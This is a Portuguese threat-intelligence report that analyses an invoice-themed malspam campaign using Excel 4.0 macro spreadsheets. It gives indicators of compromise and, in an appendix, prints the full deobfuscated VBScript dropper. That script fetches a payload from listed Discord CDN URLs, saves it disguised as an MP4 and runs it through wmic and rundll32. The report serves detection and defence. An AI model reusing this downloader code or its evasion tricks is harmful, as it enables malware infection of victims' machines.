Por Alexandre Siviero
A campanha que distribui um malware por meio de planilhas Excel está em curso. A distribuição se dá por e-mails em inglês que fazem alusão a invoices e pagamentos pendentes. Alguns dos assuntos observados:
Re: Acct No.633980 Payment
Re: Invoice #7492363-review
Re: Invoice #5667-review
Re: Due.Inv.#65134658
Assim como os assuntos, os remetentes são variados, mas observam um padrão: a presença do domínio apexlegendspro.com (Apex Legends é um jogo multiplayer de computador). No anexo as mensagens trazem planilhas Excel com nomes seguindo o formato Invoice-[NÚMERO]_[DATA].xlsb. Um exemplo que observamos foi Invoice-7923_20211101.xlsb.
Seguimos com uma inspeção estática do conteúdo para entender seu funcionamento.
Análise de planilha maliciosa (maldoc)
Como pontos interessantes de imediato, temos a ausência de um VBA Project (macros em VBA); e a presença de duas imagens.
As imagens extraídas do documento são estas:
O emprego de imagens desfocadas é uma tática de engenharia social comum para convencer o usuário a habilitar o conteúdo de um documento malicioso. O retângulo vermelho promete a visualização da figura fora de foco – provavelmente é um botão interativo.
A ausência de macros em VBA sugere a existência de macros do tipo XLM (macros do Excel 4.0). É possível confirmar essa hipótese inspecionando o conteúdo de docProps/app.xml:
Inspecionando tais macros, nota-se uma ação de escrita caractere a caractere no arquivo C:\ProgramData\excel.rtf.
Funcionamento da planilha maliciosa
Apontamos como macros de uma versão legada do Excel criam um arquivo rtf no diretório C:\ProgramData. Empreendemos uma análise dinâmica para entender qual interação do usuário desencadeia esse comportamento.
Assim como teorizamos na análise estática, o retângulo vermelho é um botão interativo. Ao se clicar nele, surge um pop-up. Ao clicar em Ok, a macro é disparada, cria o arquivo rtf e o executa por meio do binário legítimo mshta.exe, em uma técnica conhecida como Signed Binary Proxy Execution.
Analisando excel.rtf
O documento criado em C:\ProgramData traz código HTML acompanhado de um script:
<!DOCTYPE html>
<html>
<head>
<HTA:APPLICATION ID=”CS”
APPLICATIONNAME=”Test”
WINDOWSTATE=”minimize”
MAXIMIZEBUTTON=”no”
MINIMIZEBUTTON=”no”
CAPTION=”no”
SHOWINTASKBAR=”no”>
<script type=”text/vbscript” LANGUAGE=”VBScript” >
Em suma, a parte HTML serve apenas para orientar uma execução sem janela aparente do código em VBScript. Dada a ofuscação empregada no script, abandonamos a análise estática em favor de debugging via Visual Studio. Este link detalha como configurar tal programa para a depuração desse tipo de script.
VBScript – debugging e desofuscação
As técnicas de ofuscação empregadas pelo autor são comuns para código VBScript. Envolvem a concatenação de diversas partes menores de um termo para formar as strings desejadas – como visto em “ht” & “tp”, formando “http” – e o uso da função Chr() no lugar de caracteres. O debugging permite que inspecionemos o conteúdo das variáveis sem antes desofuscar o código.
Em destaque acima temos uma URL de uma CDN do Discord (aplicativo de mensageria e streaming, cuja rede de distribuição de conteúdo é comumente usada por atores maliciosos para distribuição de malware), contida na variável joPaSNk. Ela é mencionada na seguinte seção de código:
For Each joPaSNk in Array
Entendemos disso que o script possui uma série de URLs para distribuição de payload, organizadas em um array e carregadas em joPaSNk como parte de um loop. Outras informações úteis obtidas da coluna Type das variáveis:
YjZKOWNh é uma variável do tipo FileSystem3
fSGNJRgUYURjpWX é uma variável do tipo ServerXMLHTTPRequest2
Conduzimos toda a análise através do debugger. Entretanto, para facilitar a compreensão do leitor sobre o funcionamento do script, realizamos sua desofuscação manual. A partir daqui, focaremos todas as explicações na versão desofuscada, disponível na íntegra no apêndice deste relatório.
Funcionamento do VBScript
O primeiro passo do código consiste em obter os valores das variáveis %LOGONSERVER% e %USERDOMAIN%, formata-las para manter somente texto e compara-las:
LOGONSERVER = Replace(WshShell.expandenvironmentstrings("%LOGONSERVER%"),"\","")
USERDOMAIN = WshShell.expandenvironmentstrings("%USERDOMAIN%")
If LCase(LOGONSERVER) <> LCase(USERDOMAIN) Then
Caso as duas variáveis sejam idênticas, o script encerra as atividades sem tomar qualquer ação. Um cenário em que as variáveis são diferentes é na autenticação via domínio; entendemos essa comparação como método para determinar se o ativo alvo é parte de uma rede corporativa. Em caso positivo, a execução segue para o loop com as URLs de distribuição de payload.
Em seguida, checa-se pela existência do payload no sistema:
Set FILE = CreateObject("Scripting.FileSystemObject")
If Not FILE.FileExists("C:\\ProgramData\ehiActivScp.mp4") Then
Caso não exista, o script envia uma requisição GET para a URL atual, em seguida checando o código de resposta e o comprimento do conteúdo da página:
If ServerXML.Status = 199+1 And Len(ServerXML.ResponseBody)>500+500 Then Observar o conteúdo da variável durante o debugging ajuda a entender melhor o que está sendo checado no código acima.
Status é o código de status HTTP; por 199+1, o script busca pelo código 200 (OK). Em seguida, confirma se o campo ResponseBody possui um comprimento maior que mil bytes. No momento de nossa análise, todas as URLs contidas nos scripts gerados pelas planilhas maliciosas já haviam saído do ar. Como contorno, alteramos a checagem de status e comprimento da resposta para que a execução seguisse. O conteúdo então é salvo em um arquivo de extensão MP4:
.write ServerXML.responseBody
.savetofile "C:\\ProgramData\ehiActivScp.mp4", 2
Por fim, emprega-se o WMIC para executar o payload que foi salvo como MP4:
.Exec("wmic process call create 'rundll32.exe C:\\ProgramData\ehiActivScp.mp4 KdSendPacket'")
O uso de rundll32.exe demonstra que, apesar da extensão de arquivo multimídia, o payload consiste em uma DLL. É interessante observar a função exportada que é fornecida como parâmetro, KdSendPacket. Essa é uma das funções de uma DLL usada para debugging do Windows, KDCOM.dll (mais detalhes disponíveis neste link). É possível que esse nome tenha sido escolhido para o export como maneira de disfarçar a natureza maliciosa do payload. Dito isso, como não foi possível obter o payload final, não é possível dar certeza a essa hipótese.
Também destacamos que não há qualquer indício de emprego de esteganografia (esconder arquivos ou código dentro de outros arquivos legítimos) para esse script – apesar da extensão MP4, o payload baixado é apenas uma DLL, não um vídeo com conteúdo malicioso oculto.
Campanhas semelhantes
Após nossa análise dessa campanha, partimos para uma busca por incidentes semelhantes. Isso nos levou a uma campanha na Coreia do Sul, detectada pelos analistas da ASEC (parte da sul-coreana AhnLab). Os detalhes da análise empreendida por eles estão disponíveis nesse blog. Apesar de diferenças na extensão do payload, o diretório envolvido, ordem de execução dos processos na cadeia de infecção e o conteúdo do VBScript são muito similares a seus pares detalhados neste relatório. Assim, é possível que a campanha aqui analisada seja uma evolução global daquela observada pela ASEC na Coreia do Sul.
Conclusão?
Mesmo com a indisponibilidade do payload final, temos segurança em classificar essa campanha como malspam, ou envio de mensagens em massa para disseminação de malware. Esse veredito é baseado nas táticas empregadas ao longo da cadeia de infecção que detalhamos. Entre elas estão engenharia social utilizada nos assuntos dos e-mails e no conteúdo das planilhas, com o propósito de enganar o usuário para habilitar a execução de macros ocultos, e o emprego de binários assinados do Windows para disfarçar como atividade legítima a execução de scripts maliciosos e a criação de novos processos.
Além disso, o alto nível de ofuscação em tais scripts, a fim de dificultar a compreensão de seu funcionamento, e o foco em ambientes de rede corporativa, como demonstrado pela comparação das variáveis %LOGONSERVER% e %USERDOMAIN%. Essa prática também pode ser entendida como evasão de sandbox, já que a maioria dos ambientes virtualizados não cumpre os requisitos para a execução completa do script.
Por fim, a tentativa de ocultar a real natureza do conteúdo baixado da CDN do Discord, ao atribuir a uma DLL a extensão MP4.
Indicadores de Comprometimento
Apesar de transformações pontuais do VBScript de acordo com a planilha maliciosa que o gerou (como URLs alcançadas, nomes de variáveis e de arquivos), algumas constantes permanecem. São elas:
Execução do script via mshta.exe, a partir de uma instância do Excel:
EXCEL.EXE
- mshta C:\ProgramData\excel.rtf
Colhemos as seguintes URLs dos VBScripts gerados pelas planilhas:
"hxxps://cdn.discordapp.com/attachments/904686926488039467/904715860067880971/YVJeKTz.png"
"hxxps://cdn.discordapp.com/attachments/904686926488039467/904712905503694908/bgWpYuud.png"
"hxxps://cdn.discordapp.com/attachments/904686926488039467/904717176475369492/GtSXFpZWO.png"
"hxxps://cdn.discordapp.com/attachments/904686926488039467/904718207800193024/TLoFily.png"
"hxxps://cdn.discordapp.com/attachments/904686926488039467/904711819027968020/DAdvElBUI.png"
"hxxps://cdn.discordapp.com/attachments/904686926488039467/904713407461228606/yNhdJElO.png"
"hxxps://cdn.discordapp.com/attachments/904686926488039467/904710761862012928/hyAzfogFWvV.png"
"hxxps://cdn.discordapp.com/attachments/904686926488039467/904711841089982484/qQuMFUiNS.png"
"hxxps://cdn.discordapp.com/attachments/904686926488039467/904715027980890122/CtBsHSRdVZFrs.png"
Essa listagem não é exaustiva, mas um diretório dessa CDN é uma constante na campanha e pode ser empregado como IOC:
hxxps://cdn.discordapp.com/attachments/904686926488039467
Apesar do nome atribuído ao payload mudar de um script para outro, seu diretório e o export chamado são uma constante. Assim, é interessante verificar quaisquer instâncias de rundll32.exe criadas por mshta.exe e que envolvem arquivos em C:\\ProgramData\
mshta C:\ProgramData\excel.rtf
rundll32.exe C:\\ProgramData\[payload].mp4 KdSendPacket
Os indicadores a seguir são diretamente relacionados aos e-mails que colhemos dessa campanha. Dado o grau de variação das amostras, entendemo-nos como menos robustos que as relações entre processos, diretórios e exports observados acima.
Anexos:
Invoice-947266_20211101.xlsb 850ddc82095f90de967252a2812a19e1d5762c6ff3cd5d2a5a270ff49a70d5d4
Invoice-75514_20211101.xlsb 202b48f6cc80358cd1df38184dab0e39f2c77279ca5420ce3156153e7256f7ef
Invoice-0015_20211101.xlsb 63d6a0e3640ae5fe70237650206e409503cd9d27be96b1c4bb61aaaaddb51962
Invoice-903721_20211101.xlsb 2a379d2d94b2fb5ae5f372a525edcfebc9dbf3b3e11442cf65d17b31dd99b080
Invoice-7105_20211101.xlsb 38db1b91257b0aa74a68e8629410a346e44c7db3304aa1a1f1c2414c9a77e0dc
Invoice-45456_20211101.xlsb b62144627edfbd279310b43eb82f997ff20cfe1362b356c4b00f2fe48b091dda
Invoice-7105_20211101.xlsb 38db1b91257b0aa74a68e8629410a346e44c7db3304aa1a1f1c2414c9a77e0dc
Invoice-7923_20211101.xlsb ca6112ee5eefa7a2ef1552e903c7f092510f2df012a4ab277b20200ee0b09e7c
Invoice-062505962_20211101.xlsb 8deea67ab06de26900004f4d3eca6b079e7991a02b2c466db9f6fdbae347d466
Invoice-3726645171_20211101.xlsb dd8695056a835457b9c0c208fb35b8ecc43344aac5b0254ffe183179e2f9e0c2
Invoice-04910947_20211101.xlsb 0ef5a64b9a99d87caa1920b68061cfb675bf0ab265cf2baa27a2f2b7a6dc6a72
Remetentes:
info@northamerica.apexlegendspro.com
info@northamerica.apexlegendspro.com
info@northamerica.apexlegendspro.com
info@northamerica.apexlegendspro.com
service@northamerica.rushhourflight.com
service@southamerica.apexlegendspro.com
info@northamerica.apexlegendspro.com
service@usa.apexlegendspro.com
service@southamerica.apexlegendspro.com
info@northamerica.apexlegendspro.com
Assuntos:
Re: Approve Inv #61436
Re: Invoice #5667-review
Re: #164270 Invoice
Re: Due.Inv.#65134658
Re: #07690 Invoice
Re: Due.Inv.#0514630
Re: Acct No.4031687 Payment
Re: Invoice #7492363-review
Re: Due.Inv.#27586
Re: PO #26858938 Due 25-10-2021
APÊNDICE
Conteúdo HTML de um excel.rtf:
<!DOCTYPE html>
<html>
<head>
<HTA:APPLICATION ID=”CS”
APPLICATIONNAME=”Test”
WINDOWSTATE=”minimize”
MAXIMIZEBUTTON=”no”
MINIMIZEBUTTON=”no”
CAPTION=”no”
SHOWINTASKBAR=”no”>
<script type=”text/vbscript” LANGUAGE=”VBScript” >
[VBScript]
</script>
</head>
<body>
</body>
</html>
VBScript desofuscado:
Set WshShell = CreateObject(“Wscript.Shell”)
LOGONSERVER = Replace(WshShell.expandenvironmentstrings(“%LOGONSERVER%”),”\”,””)
USERDOMAIN = WshShell.expandenvironmentstrings(“%USERDOMAIN%”)
If LCase(LOGONSERVER) <> LCase(USERDOMAIN) Then
For Each URL in Array(“https://cdn.discordapp.com/attachments/904686926488039467/904715860067880971/YVJeKTz.png” , “https://cdn.discordapp.com/attachments/904686926488039467/904712905503694908/bgWpYuud.png” , “https://cdn.discordapp.com/attachments/904686926488039467/904717176475369492/GtSXFpZWO.png”)
Set FILE = CreateObject(“Scripting.FileSystemObject”)
If Not FILE.FileExists(“C:\\ProgramData\ehiActivScp.mp4”) Then
Set ServerXML = createobject(“MSXML2.ServerXMLHTTP.6.0”)
Set AdoStream = createobject(“Adodb.Stream”)
ServerXML.Open “GET”, URL, False
ServerXML.Send
If ServerXML.Status = 199+1 And Len(ServerXML.ResponseBody)>500+500 Then
with AdoStream
.type = 1
.open
.write ServerXML.responseBody
.savetofile “C:\\ProgramData\ehiActivScp.mp4”, 2
.close
end with
With CreateObject(“Wscript.Shell”)
.Exec(“wmic process call create ‘rundll32.exe C:\\ProgramData\ehiActivScp.mp4 KdSendPacket'”)
End With
Exit For
End If
End If
Next
End If